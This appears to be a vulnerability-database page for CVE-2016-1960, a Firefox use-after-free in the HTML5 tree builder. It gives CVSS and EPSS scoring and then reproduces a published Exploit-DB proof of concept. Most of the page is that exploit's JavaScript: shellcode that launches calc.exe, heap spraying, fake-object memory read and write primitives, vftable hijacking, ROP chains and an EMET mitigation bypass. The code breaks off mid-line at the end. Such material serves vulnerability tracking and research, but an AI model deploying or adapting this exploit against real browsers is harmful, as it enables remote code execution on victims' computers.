CVE-2016-1960 : Detail

CVE-2016-1960

8.8
/
High
95.45%V3
Network
2016-03-13
17h00 +00:00
2018-03-21
08h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer underflow in the nsHtml5TreeBuilder class in the HTML5 string parser in Mozilla Firefox before 45.0 and Firefox ESR 38.x before 38.7 allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free) by leveraging mishandling of end tags, as demonstrated by incorrect SVG processing, aka ZDI-CAN-3545.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42484

Publication date : 2017-08-17 22h00 +00:00
Author : Hans Jerry Illikainen
EDB Verified : No

<!doctype html> <html> <head> <meta http-equiv="cache-control" content="no-cache" charset="utf-8" /> <title>CVE-2016-1960</title> <script> /* * Exploit Title: Mozilla Firefox < 45.0 nsHtml5TreeBuilder Array Indexing Vulnerability (EMET 5.52 bypass) * Author: Hans Jerry Illikainen (exploit), ca0nguyen (vulnerability) * Vendor Homepage: https://mozilla.org * Software Link: https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/ * Version: 44.0.2 * Tested on: Windows 7 and Windows 10 * CVE: CVE-2016-1960 * * Exploit for CVE-2016-1960 [1] targeting Firefox 44.0.2 [2] on WoW64 * with/without EMET 5.52. * * Tested on: * - 64bit Windows 10 Pro+Home (version 1703) * - 64bit Windows 7 Pro SP1 * * Vulnerability disclosed by ca0nguyen [1]. * Exploit written by Hans Jerry Illikainen <[email protected]>. * * [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1246014 * [2] https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/ */ "use strict"; /* This is executed after having pivoted the stack. `esp' points to a * region on the heap, and the original stack pointer is stored in * `edi'. In order to bypass EMET, the shellcode should make sure to * xchg edi, esp before any protected function is called. * * For convenience, the first two "arguments" to the shellcode is a * module handle for kernel32.dll and the address of GetProcAddress() */ const shellcode = [ "\x8b\x84\x24\x04\x00\x00\x00", /* mov eax, dword [esp + 0x4] */ "\x8b\x8c\x24\x08\x00\x00\x00", /* mov ecx, dword [esp + 0x8] */ "\x87\xe7", /* xchg edi, esp */ "\x56", /* push esi */ "\x57", /* push edi */ "\x89\xc6", /* mov esi, eax */ "\x89\xcf", /* mov edi, ecx */ "\x68\x78\x65\x63\x00", /* push xec\0 */ "\x68\x57\x69\x6e\x45", /* push WinE */ "\x54", /* push esp */ "\x56", /* push esi */ "\xff\xd7", /* call edi */ "\x83\xc4\x08", /* add esp, 0x8 */ "\x6a\x00", /* push 0 */ "\x68\x2e\x65\x78\x65", /* push .exe */ "\x68\x63\x61\x6c\x63", /* push calc */ "\x89\xe1", /* mov ecx, esp */ "\x6a\x01", /* push 1 */ "\x51", /* push ecx */ "\xff\xd0", /* call eax */ "\x83\xc4\x0c", /* add esp, 0xc */ "\x5f", /* pop edi */ "\x5e", /* pop esi */ "\x87\xe7", /* xchg edi, esp */ "\xc3", /* ret */ ]; function ROPHelper(pe, rwx) { this.pe = pe; this.rwx = rwx; this.cache = {}; this.search = function(instructions) { for (let addr in this.cache) { if (this.match(this.cache[addr], instructions) === true) { return addr; } } const text = this.pe.text; for (let addr = text.base; addr < text.base + text.size; addr++) { const read = this.rwx.readBytes(addr, instructions.length); if (this.match(instructions, read) === true) { this.cache[addr] = instructions; return addr; } } throw new Error("could not find gadgets for " + instructions); }; this.match = function(a, b) { if (a.length !== b.length) { return false; } for (let i = 0; i < a.length; i++) { if (a[i] !== b[i]) { return false; } } return true; }; this.execute = function(func, args, cleanup) { const u32array = this.rwx.u32array; const ret = this.rwx.calloc(4); let i = this.rwx.div.mem.idx + 2941; /* gadgets after [A] and [B] */ /* * [A] stack pivot * * xchg eax, esp * ret 0x2de8 */ const pivot = this.search([0x94, 0xc2, 0xe8, 0x2d]); /* * [B] preserve old esp in a nonvolatile register * * xchg eax, edi * ret */ const after = this.search([0x97, 0xc3]); /* * [C] address to execute */ u32array[i++] = func; if (cleanup === true && args.length > 0) { if (args.length > 1) { /* * [E] return address from [C]: cleanup args on the stack * * add esp, args.length*4 * ret */ u32array[i++] = this.search([0x83, 0xc4, args.length*4, 0xc3]); } else { /* * [E] return address from [C]: cleanup arg * * pop ecx * ret */ u32array[i++] = this.search([0x59, 0xc3]); } } else { /* * [E] return address from [C] * * ret */ u32array[i++] = this.search([0xc3]); } /* * [D] arguments for [C] */ for (let j = 0; j < args.length; j++) { u32array[i++] = args[j]; } /* * [F] pop the location for the return value * * pop ecx * ret */ u32array[i++] = this.search([0x59, 0xc3]); /* * [G] address to store the return value */ u32array[i++] = ret.addr; /* * [H] move the return value to [G] * * mov dword [ecx], eax * ret */ u32array[i++] = this.search([0x89, 0x01, 0xc3]); /* * [I] restore the original esp and return * * mov esp, edi * ret */ u32array[i++] = this.search([0x89, 0xfc, 0xc3]); this.rwx.execute(pivot, after); return u32array[ret.idx]; }; } function ICUUC55(rop, pe, rwx) { this.rop = rop; this.pe = pe; this.rwx = rwx; this.kernel32 = new KERNEL32(rop, pe, rwx); this.icuuc55handle = this.kernel32.GetModuleHandleA("icuuc55.dll"); /* * The invocation of uprv_malloc_55() requires special care since * pAlloc points to a protected function (VirtualAlloc). * * ROPHelper.execute() can't be used because: * 1. it pivots the stack to the heap (StackPivot protection) * 2. it returns into the specified function (Caller protection) * 3. the forward ROP chain is based on returns (SimExecFlow protection) * * This function consist of several steps: * 1. a second-stage ROP chain is written to the stack * 2. a first-stage ROP chain is executed that pivots to the heap * 3. the first-stage ROP chain continues by pivoting to #1 * 4. uprv_malloc_55() is invoked * 5. the return value is saved * 6. the original stack is restored * * Of note is that uprv_malloc_55() only takes a `size' argument, * and it passes two arguments to the hijacked pAlloc function * pointer (context and size; both in our control). VirtualAlloc, * on the other hand, expects four arguments. So, we'll have to * setup the stack so that the values interpreted by VirtualAlloc as * its arguments are reasonably-looking. * * By the time that uprv_malloc_55() is returned into, the stack * will look like: * [A] [B] [C] [D] * * When pAlloc is entered, the stack will look like: * [uprv_malloc_55()-ret] [pContext] [B] [A] [B] [C] [D] * * Since we've set pAlloc to point at VirtualAlloc, the call is * interpreted as VirtualAlloc(pContext, B, A, B); * * Hence, because we want `flProtect' to be PAGE_EXECUTE_READWRITE, * we also have to have a `size' with the same value; meaning our * rwx allocation will only be 0x40 bytes. * * This is not a problem, since we can simply write a small snippet * of shellcode that allocates a larger region in a non-ROPy way * afterwards. */ this.uprv_malloc_55 = function(stackAddr) { const func = this.kernel32.GetProcAddress(this.icuuc55handle, "uprv_malloc_55"); const ret = this.rwx.calloc(4); const u32array = this.rwx.u32array; /********************** * second stage gadgets **********************/ const stackGadgets = new Array( func, 0x1000, /* [A] flAllocationType (MEM_COMMIT) */ 0x40, /* [B] dwSize and flProtect (PAGE_EXECUTE_READWRITE) */ 0x41414141, /* [C] */ 0x42424242, /* [D] */ /* * location to write the return value * * pop ecx * ret */ this.rop.search([0x59, 0xc3]), ret.addr, /* * do the write * * mov dword [ecx], eax * ret */ this.rop.search([0x89, 0x01, 0xc3]), /* * restore the old stack * * mov esp, edi * ret */ this.rop.search([0x89, 0xfc, 0xc3]) ); const origStack = this.rwx.readDWords(stackAddr, stackGadgets.length); this.rwx.writeDWords(stackAddr, stackGadgets); /********************* * first stage gadgets *********************/ /* * pivot * * xchg eax, esp * ret 0x2de8 */ const pivot = this.rop.search([0x94, 0xc2, 0xe8, 0x2d]); /* * preserve old esp in a nonvolatile register * * xchg eax, edi * ret */ const after = this.rop.search([0x97, 0xc3]); /* * pivot to the second stage * * pop esp * ret */ u32array[this.rwx.div.mem.idx + 2941] = this.rop.search([0x5c, 0xc3]); u32array[this.rwx.div.mem.idx + 2942] = stackAddr; /* * here we go :) */ this.rwx.execute(pivot, after); this.rwx.writeDWords(stackAddr, origStack); if (u32array[ret.idx] === 0) { throw new Error("uprv_malloc_55() failed"); } return u32array[ret.idx]; }; /* * Overrides the pointers in firefox-44.0.2/intl/icu/source/common/cmemory.c */ this.u_setMemoryFunctions_55 = function(context, a, r, f, status) { const func = this.kernel32.GetProcAddress(this.icuuc55handle, "u_setMemoryFunctions_55"); this.rop.execute(func, [context, a, r, f, status], true); }; /* * Sets `pAlloc' to VirtualAlloc. `pRealloc' and `pFree' are * set to point to small gadgets. */ this.set = function() { const status = this.rwx.calloc(4); const alloc = this.pe.search("kernel32.dll", "VirtualAlloc"); /* pretend to be a failed reallocation * * xor eax, eax * ret */ const realloc = this.rop.search([0x33, 0xc0, 0xc3]); /* let the chunk live * * ret */ const free = this.rop.search([0xc3]); this.u_setMemoryFunctions_55(0, alloc, realloc, free, status.addr); if (this.rwx.u32array[status.idx] !== 0) { throw new Error("u_setMemoryFunctions_55() failed"); } }; /* * This (sort of) restores the functionality in * intl/icu/source/common/cmemory.c by reusing the previously * allocated PAGE_EXECUTE_READWRITE chunk to set up three stubs that * invokes an appropriate function in mozglue.dll */ this.reset = function(chunk) { const u32array = this.rwx.u32array; const status = this.rwx.calloc(4); /* * pFree */ const free = {}; free.addr = chunk; free.func = this.rwx.calloc(4); free.func.str = this.dword2str(free.func.addr); free.code = [ "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */ "\x50", /* push eax */ "\x8b\x05" + free.func.str, /* mov eax, [location-of-free] */ "\xff\xd0", /* call eax */ "\x59", /* pop ecx */ "\xc3", /* ret */ ].join(""); u32array[free.func.idx] = this.pe.search("mozglue.dll", "free"); this.rwx.writeString(free.addr, free.code); /* * pAlloc */ const alloc = {}; alloc.addr = chunk + free.code.length; alloc.func = this.rwx.calloc(4); alloc.func.str = this.dword2str(alloc.func.addr); alloc.code = [ "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */ "\x50", /* push eax */ "\x8b\x05" + alloc.func.str, /* mov eax, [location-of-alloc] */ "\xff\xd0", /* call eax */ "\x59", /* pop ecx */ "\xc3", /* ret */ ].join(""); u32array[alloc.func.idx] = this.pe.search("mozglue.dll", "malloc"); this.rwx.writeString(alloc.addr, alloc.code); /* * pRealloc */ const realloc = {}; realloc.addr = chunk + free.code.length + alloc.code.length; realloc.func = this.rwx.calloc(4); realloc.func.str = this.dword2str(realloc.func.addr); realloc.code = [ "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */ "\x50", /* push eax */ "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */ "\x50", /* push eax */ "\x8b\x05" + realloc.func.str, /* mov eax, [location-of-realloc] */ "\xff\xd0", /* call eax */ "\x59", /* pop ecx */ "\x59", /* pop ecx */ "\xc3", /* ret */ ].join(""); u32array[realloc.func.idx] = this.pe.search("mozglue.dll", "realloc"); this.rwx.writeString(realloc.addr, realloc.code); this.u_setMemoryFunctions_55(0, alloc.addr, realloc.addr, free.addr, status.addr); if (u32array[status.idx] !== 0) { throw new Error("u_setMemoryFunctions_55() failed"); } }; /* * Allocates a small chunk of memory marked RWX, which is used * to allocate a `size'-byte chunk (see uprv_malloc_55()). The * first allocation is then repurposed in reset(). */ this.alloc = function(stackAddr, size) { /* * hijack the function pointers */ this.set(); /* * do the initial 0x40 byte allocation */ const chunk = this.uprv_malloc_55(stackAddr); log("allocated 0x40 byte chunk at 0x" + chunk.toString(16)); /* * allocate a larger chunk now that we're no longer limited to ROP/JOP */ const u32array = this.rwx.u32array; const func = this.rwx.calloc(4); func.str = this.dword2str(func.addr); u32array[func.idx] = this.pe.search("kernel32.dll", "VirtualAlloc"); const code = [ "\x87\xe7", /* xchg edi, esp (orig stack) */ "\x6a\x40", /* push 0x40 (flProtect) */ "\x68\x00\x10\x00\x00", /* push 0x1000 (flAllocationType) */ "\xb8" + this.dword2str(size), /* move eax, size */ "\x50", /* push eax (dwSize) */ "\x6a\x00", /* push 0 (lpAddress) */ "\x8b\x05" + func.str, /* mov eax, [loc-of-VirtualAlloc] */ "\xff\xd0", /* call eax */ "\x87\xe7", /* xchg edi, esp (back to heap) */ "\xc3", /* ret */ ].join(""); this.rwx.writeString(chunk, code); const newChunk = this.rop.execute(chunk, [], false); log("allocated " + size + " byte chunk at 0x" + newChunk.toString(16)); /* * repurpose the first rwx chunk to restore functionality */ this.reset(chunk); return newChunk; }; this.dword2str = function(dword) { let str = ""; for (let i = 0; i < 4; i++) { str += String.fromCharCode((dword >> 8 * i) & 0xff); } return str; }; } function KERNEL32(rop, pe, rwx) { this.rop = rop; this.pe = pe; this.rwx = rwx; /* * Retrieves a handle for an imported module */ this.GetModuleHandleA = function(lpModuleName) { const func = this.pe.search("kernel32.dll", "GetModuleHandleA"); const name = this.rwx.copyString(lpModuleName); const module = this.rop.execute(func, [name.addr], false); if (module === 0) { throw new Error("could not get a handle for " + lpModuleName); } return module; }; /* * Retrieves the address of an exported symbol. Do not invoke this * function on protected modules (if you want to bypass EAF); instead * try to locate the symbol in any of the import tables or choose * another target. */ this.GetProcAddress = function(hModule, lpProcName) { const func = this.pe.search("kernel32.dll", "GetProcAddress"); const name = this.rwx.copyString(lpProcName); const addr = this.rop.execute(func, [hModule, name.addr], false); if (addr === 0) { throw new Error("could not get address for " + lpProcName); } return addr; }; /* * Retrieves a handle for the current thread */ this.GetCurrentThread = function() { const func = this.pe.search("kernel32.dll", "GetCurrentThread"); return this.rop.execute(func, [], false); }; } function NTDLL(rop, pe, rwx) { this.rop = rop; this.pe = pe; this.rwx = rwx; /* * Retrieves the stack limit from the Thread Environment Block */ this.getStackLimit = function(ThreadHandle) { const mem = this.rwx.calloc(0x1c); this.NtQueryInformationThread(ThreadHandle, 0, mem.addr, mem.size, 0); return this.rwx.readDWord(this.rwx.u32array[mem.idx+1] + 8); }; /* * Retrieves thread information */ this.NtQueryInformationThread = function(ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength, ReturnLength) { const func = this.pe.search("ntdll.dll", "NtQueryInformationThread"); const ret = this.rop.execute(func, arguments, false); if (ret !== 0) { throw new Error("NtQueryInformationThread failed"); } return ret; }; } function ReadWriteExecute(u32base, u32array, array) { this.u32base = u32base; this.u32array = u32array; this.array = array; /* * Reads `length' bytes from `addr' through a fake string */ this.readBytes = function(addr, length) { /* create a string-jsval */ this.u32array[4] = this.u32base + 6*4; /* addr to meta */ this.u32array[5] = 0xffffff85; /* type (JSVAL_TAG_STRING) */ /* metadata */ this.u32array[6] = 0x49; /* flags */ this.u32array[7] = length; /* read size */ this.u32array[8] = addr; /* memory to read */ /* Uint8Array is *significantly* slower, which kills our ROP hunting */ const result = new Array(); const str = this.getArrayElem(4); for (let i = 0; i < str.length; i++) { result[i] = str.charCodeAt(i); } return result; }; this.readDWords = function(addr, num) { const bytes = this.readBytes(addr, num * 4); const dwords = new Uint32Array(num); for (let i = 0; i < bytes.length; i += 4) { for (let j = 0; j < 4; j++) { dwords[i/4] |= bytes[i+j] << (8 * j); } } return dwords; }; this.readDWord = function(addr) { return this.readDWords(addr, 1)[0]; }; this.readWords = function(addr, num) { const bytes = this.readBytes(addr, num * 2); const words = new Uint16Array(num); for (let i = 0; i < bytes.length; i += 2) { for (let j = 0; j < 2; j++) { words[i/2] |= bytes[i+j] << (8 * j); } } return words; }; this.readWord = function(addr) { return this.readWords(addr, 1)[0]; }; this.readString = function(addr) { for (let i = 0, str = ""; ; i++) { const chr = this.readBytes(addr + i, 1)[0]; if (chr === 0) { return str; } str += String.fromCharCode(chr); } }; /* * Writes `values' to `addr' by using the metadata of an Uint8Array * to set up a write primitive */ this.writeBytes = function(addr, values) { /* create jsval */ const jsMem = this.calloc(8); this.setArrayElem(jsMem.idx, new Uint8Array(values.length)); /* copy metadata */ const meta = this.readDWords(this.u32array[jsMem.idx], 12); const metaMem = this.calloc(meta.length * 4); for (let i = 0; i < meta.length; i++) { this.u32array[metaMem.idx + i] = meta[i]; } /* change the pointer to the contents of the Uint8Array */ this.u32array[metaMem.idx + 10] = addr; /* change the pointer to the metadata */ const oldMeta = this.u32array[jsMem.idx]; this.u32array[jsMem.idx] = metaMem.addr; /* write */ const u8 = this.getArrayElem(jsMem.idx); for (let i = 0; i < values.length; i++) { u8[i] = values[i]; } /* clean up */ this.u32array[jsMem.idx] = oldMeta; }; this.writeDWords = function(addr, values) { const u8 = new Uint8Array(values.length * 4); for (let i = 0; i < values.length; i++) { for (let j = 0; j < 4; j++) { u8[i*4 + j] = values[i] >> (8 * j) & 0xff; } } this.writeBytes(addr, u8); }; this.writeDWord = function(addr, value) { const u32 = new Uint32Array(1); u32[0] = value; this.writeDWords(addr, u32); }; this.writeString = function(addr, str) { const u8 = new Uint8Array(str.length); for (let i = 0; i < str.length; i++) { u8[i] = str.charCodeAt(i); } this.writeBytes(addr, u8); }; /* * Copies a string to the `u32array' and returns an object from * calloc(). * * This is an ugly workaround to allow placing a string at a known * location without having to implement proper support for JSString * and its various string types. */ this.copyString = function(str) { str += "\x00".repeat(4 - str.length % 4); const mem = this.calloc(str.length); for (let i = 0, j = 0; i < str.length; i++) { if (i && !(i % 4)) { j++; } this.u32array[mem.idx + j] |= str.charCodeAt(i) << (8 * (i % 4)); } return mem; }; /* * Creates a <div> and copies the contents of its vftable to * writable memory. */ this.createExecuteDiv = function() { const div = {}; /* 0x3000 bytes should be enough for the div, vftable and gadgets */ div.mem = this.calloc(0x3000); div.elem = document.createElement("div"); this.setArrayElem(div.mem.idx, div.elem); /* addr of the div */ const addr = this.u32array[div.mem.idx]; /* *(addr+4) = this */ const ths = this.readDWord(addr + 4*4); /* *this = xul!mozilla::dom::HTMLDivElement::`vftable' */ const vftable = this.readDWord(ths); /* copy the vftable (the size is a guesstimate) */ const entries = this.readDWords(vftable, 512); this.writeDWords(div.mem.addr + 4*2, entries); /* replace the pointer to the original vftable with ours */ this.writeDWord(ths, div.mem.addr + 4*2); return div; }; /* * Replaces two vftable entries of the previously created div and * triggers code execution */ this.execute = function(pivot, postPivot) { /* vftable entry for xul!nsGenericHTMLElement::QueryInterface * kind of ugly, but we'll land here after the pivot that's used * in ROPHelper.execute() */ const savedQueryInterface = this.u32array[this.div.mem.idx + 2]; this.u32array[this.div.mem.idx + 2] = postPivot; /* vftable entry for xul!nsGenericHTMLElement::Click */ const savedClick = this.u32array[this.div.mem.idx + 131]; this.u32array[this.div.mem.idx + 131] = pivot; /* execute */ this.div.elem.click(); /* restore our overwritten vftable pointers */ this.u32array[this.div.mem.idx + 2] = savedQueryInterface; this.u32array[this.div.mem.idx + 131] = savedClick; }; /* * Reserves space in the `u32array' and initializes it to 0. * * Returns an object with the following properties: * - idx: index of the start of the allocation in the u32array * - addr: start address of the allocation * - size: non-padded allocation size * - realSize: padded size */ this.calloc = function(size) { let padded = size; if (!size || size % 4) { padded += 4 - size % 4; } const found = []; /* the first few dwords are reserved for the metadata belonging * to `this.array' and for the JSString in readBytes (since using * this function would impact the speed of the ROP hunting) */ for (let i = 10; i < this.u32array.length - 1; i += 2) { if (this.u32array[i] === 0x11223344 && this.u32array[i+1] === 0x55667788) { found.push(i, i+1); if (found.length >= padded / 4) { for (let j = 0; j < found.length; j++) { this.u32array[found[j]] = 0; } return { idx: found[0], addr: this.u32base + found[0]*4, size: size, realSize: padded, }; } } else { found.length = 0; } } throw new Error("calloc(): out of memory"); }; /* * Returns an element in `array' based on an index for `u32array' */ this.getArrayElem = function(idx) { if (idx <= 3 || idx % 2) { throw new Error("invalid index"); } return this.array[(idx - 4) / 2]; }; /* * Sets an element in `array' based on an index for `u32array' */ this.setArrayElem = function(idx, value) { if (idx <= 3 || idx % 2) { throw new Error("invalid index"); } this.array[(idx - 4) / 2] = value; }; this.div = this.createExecuteDiv(); } function PortableExecutable(base, rwx) { this.base = base; this.rwx = rwx; this.imports = {}; this.text = {}; /* * Parses the PE import table. Some resources of interest: * * - An In-Depth Look into the Win32 Portable Executable File Format * https://msdn.microsoft.com/en-us/magazine/bb985992(printer).aspx * * - Microsoft Portable Executable and Common Object File Format Specification * https://www.microsoft.com/en-us/download/details.aspx?id=19509 * * - Understanding the Import Address Table * http://sandsprite.com/CodeStuff/Understanding_imports.html */ this.read = function() { const rwx = this.rwx; let addr = this.base; /* * DOS header */ const magic = rwx.readWord(addr); if (magic !== 0x5a4d) { throw new Error("bad DOS header"); } const lfanew = rwx.readDWord(addr + 0x3c, 4); addr += lfanew; /* * Signature */ const signature = rwx.readDWord(addr); if (signature !== 0x00004550) { throw new Error("bad signature"); } addr += 4; /* * COFF File Header */ addr += 20; /* * Optional Header */ const optionalMagic = rwx.readWord(addr); if (optionalMagic !== 0x010b) { throw new Error("bad optional header"); } this.text.size = rwx.readDWord(addr + 4); this.text.base = this.base + rwx.readDWord(addr + 20); const numberOfRvaAndSizes = rwx.readDWord(addr + 92); addr += 96; /* * Optional Header Data Directories * * N entries * 2 DWORDs (RVA and size) */ const directories = rwx.readDWords(addr, numberOfRvaAndSizes * 2); for (let i = 0; i < directories[3] - 5*4; i += 5*4) { /* Import Directory Table (N entries * 5 DWORDs) */ const members = rwx.readDWords(this.base + directories[2] + i, 5); const lookupTable = this.base + members[0]; const dllName = rwx.readString(this.base+members[3]).toLowerCase(); const addrTable = this.base + members[4]; this.imports[dllName] = {}; /* Import Lookup Table */ for (let j = 0; ; j += 4) { const hintNameRva = rwx.readDWord(lookupTable + j); /* the last entry is NULL */ if (hintNameRva === 0) { break; } /* name is not available if the dll is imported by ordinal */ if (hintNameRva & (1 << 31)) { continue; } const importName = rwx.readString(this.base + hintNameRva + 2); const importAddr = rwx.readDWord(addrTable + j); this.imports[dllName][importName] = importAddr; } } }; /* * Searches for an imported symbol */ this.search = function(dll, symbol) { if (this.imports[dll] === undefined) { throw new Error("unknown dll: " + dll); } const addr = this.imports[dll][symbol]; if (addr === undefined) { throw new Error("unknown symbol: " + symbol); } return addr; }; } function Spray() { this.nodeBase = 0x80000000; this.ptrNum = 64; this.refcount = 0xffffffff; /* * 0:005> ?? sizeof(nsHtml5StackNode) * unsigned int 0x1c */ this.nsHtml5StackNodeSize = 0x1c; /* * Creates a bunch of fake nsHtml5StackNode:s with the hope of hitting * the address of elementName->name when it's [xul!nsHtml5Atoms::style]. * * Ultimately, the goal is to enter the conditional on line 2743: * * firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp:2743 * ,---- * | 2214 void * | 2215 nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName) * | 2216 { * | .... * | 2221 nsIAtom* name = elementName->name; * | .... * | 2741 for (; ; ) { * | 2742 nsHtml5StackNode* node = stack[eltPos]; * | 2743 if (node->ns == kNameSpaceID_XHTML && node->name == name) { * | .... * | 2748 while (currentPtr >= eltPos) { * | 2749 pop(); * | 2750 } * | 2751 NS_HTML5_BREAK(endtagloop); * | 2752 } else if (node->isSpecial()) { * | 2753 errStrayEndTag(name); * | 2754 NS_HTML5_BREAK(endtagloop); * | 2755 } * | 2756 eltPos--; * | 2757 } * | .... * | 3035 } * `---- * * We get 64 attempts each time the bug is triggered -- however, in * order to have a clean break, the last node has its flags set to * NS_HTML5ELEMENT_NAME_SPECIAL, so that the conditional on line * 2752 is entered. * * If we do find ourselves with a node->name == name, then * nsHtml5TreeBuilder::pop() invokes nsHtml5StackNode::release(). * The release() method decrements the nodes refcount -- and, if the * refcount reaches 0, also deletes it. * * Assuming everything goes well, the Uint32Array is allocated with * the method presented by SkyLined/@berendjanwever in: * * "Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows" * http://blog.skylined.nl/20160622001.html */ this.nodes = function(name, bruteforce) { const nodes = new Uint32Array(0x19000000); const size = this.nsHtml5StackNodeSize / 4; const refcount = bruteforce ? this.refcount : 1; let flags = 0; for (let i = 0; i < this.ptrNum * size; i += size) { if (i === (this.ptrNum - 1) * size) { flags = 1 << 29; /* NS_HTML5ELEMENT_NAME_SPECIAL */ name = 0x0; } nodes[i] = flags; nodes[i+1] = name; nodes[i+2] = 0; /* popName */ nodes[i+3] = 3; /* ns (kNameSpaceID_XHTML) */ nodes[i+4] = 0; /* node */ nodes[i+5] = 0; /* attributes */ nodes[i+6] = refcount; name += 0x100000; } return nodes; }; /* * Sprays pointers to the fake nsHtml5StackNode:s created in nodes() */ this.pointers = function() { const pointers = new Array(); for (let i = 0; i < 0x30000; i++) { pointers[i] = new Uint32Array(this.ptrNum); let node = this.nodeBase; for (let j = pointers[i].length - 1; j >= 0; j--) { pointers[i][j] = node; node += this.nsHtml5StackNodeSize; } } return pointers; }; /* * Sprays a bunch of arrays with the goal of having one hijack the * previously freed Uint32Array */ this.arrays = function() { const array = new Array(); for (let i = 0; i < 0x800; i++) { array[i] = new Array(); for (let j = 0; j < 0x10000; j++) { /* 0x11223344, 0x55667788 */ array[i][j] = 2.5160082934009793e+103; } } return array; }; /* * Not sure how reliable this is, but on 3 machines running win10 on * bare metal and on a few VMs with win7/win10 (all with and without * EMET), [xul!nsHtml5Atoms::style] was always found within * 0x[00a-1c2]f[a-f]6(c|e)0 */ this.getNextAddr = function(current) { const start = 0x00afa6c0; if (!current) { return start; } if ((current >> 20) < 0x150) { return current + 0x100000*(this.ptrNum-1); } if ((current >> 12 & 0xf) !== 0xf) { return (current + 0x1000) & ~(0xfff << 20) | (start >> 20) << 20; } if ((current >> 4 & 0xf) === 0xc) { return start + 0x20; } throw new Error("out of guesses"); }; /* * Returns the `name' from the last node with a decremented * refcount, if any are found */ this.findStyleAddr = function(nodes) { const size = this.nsHtml5StackNodeSize / 4; for (let i = 64 * size - 1; i >= 0; i -= size) { if (nodes[i] === this.refcount - 1) { return nodes[i-5]; } } }; /* * Locates a subarray in `array' that overlaps with `nodes' */ this.findArray = function(nodes, array) { /* index 0..3 is metadata for `array' */ nodes[4] = 0x41414141; nodes[5] = 0x42424242; for (let i = 0; i < array.length; i++) { if (array[i][0] === 156842099330.5098) { return array[i]; } } throw new Error("Uint32Array hijack failed"); }; } function log(msg) { dump("=> " + msg + "\n"); console.log("=> " + msg); } let nodes; let hijacked; window.onload = function() { if (!navigator.userAgent.match(/Windows NT [0-9.]+; WOW64; rv:44\.0/)) { throw new Error("unsupported user-agent"); } const spray = new Spray(); /* * spray nodes */ let bruteforce = true; let addr = spray.getNextAddr(0); const href = window.location.href.split("?"); if (href.length 